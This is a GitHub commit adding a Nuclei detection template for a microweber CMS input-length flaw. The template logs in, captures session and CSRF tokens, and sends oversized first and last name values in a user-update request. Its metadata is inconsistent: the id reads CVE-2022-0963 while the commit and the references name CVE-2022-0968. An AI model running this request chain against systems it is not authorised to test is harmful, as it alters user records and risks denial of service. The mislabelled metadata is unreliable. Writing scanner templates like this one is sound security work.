Create CVE-2022-0968

patch-1
amit-jd 2022-07-24 21:11:37 +05:30 committed by GitHub
parent f0098b52b4
commit e06700004b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 99 additions and 0 deletions

View File

@ -0,0 +1,99 @@
id: CVE-2022-0963
info:
name: Integer Overflow in microweber prior to 1.2.12
author: amit-jd
severity: high
description: The microweber application allows large characters to insert in the input field "first & last name" which can allow attackers to cause a Denial of Service (DoS) via a crafted HTTP request. The first name & last name input should be limited to 50 characters or max 100 characters.
reference:
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0968
- https://github.com/advisories/GHSA-q3x2-jvp3-wj78
classification:
cvss-metrics: CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
cvss-score: 7.2
cwe-id: CWE-190
tags: overflow, microweber, CMS
requests:
- raw:
- |-
POST /api/user_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
POST /csrf/ HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
- |+
GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Cookie: laravel_session={{session}}; XSRF-TOKEN={{csrf_token}}
- |-
POST /api/user/2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-XSRF-TOKEN: {{url_decode(csrf_token)}}
Cookie: laravel_session={{session}}; XSRF-TOKEN={{csrf_token}}
thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user_name}}&verify_password=&first_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&last_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
req-condition: true
cookie-reuse: true
extractors:
- type: kval
part: header
name: csrf_token
kval:
- XSRF-TOKEN
internal: true
- type: kval
part: header
name: session
kval:
- laravel_session
internal: true
- type: regex
part: body
name: form_token
internal: true
group: 1
regex:
- '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
- type: regex
part: body
name: user_name
internal: true
group: 1
regex:
- '<input type="text" class="form-control" name="username" value="(.*)">'
- type: regex
part: body
name: email
internal: true
group: 1
regex:
- '<input type="email" class="form-control" name="email" value="(.*)">'
- type: dsl
part: body
name: response
dsl:
- body_4
matchers:
- type: dsl
dsl:
- 'contains(body_4,"first_name":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")'
- 'status_code_4==200'
condition: and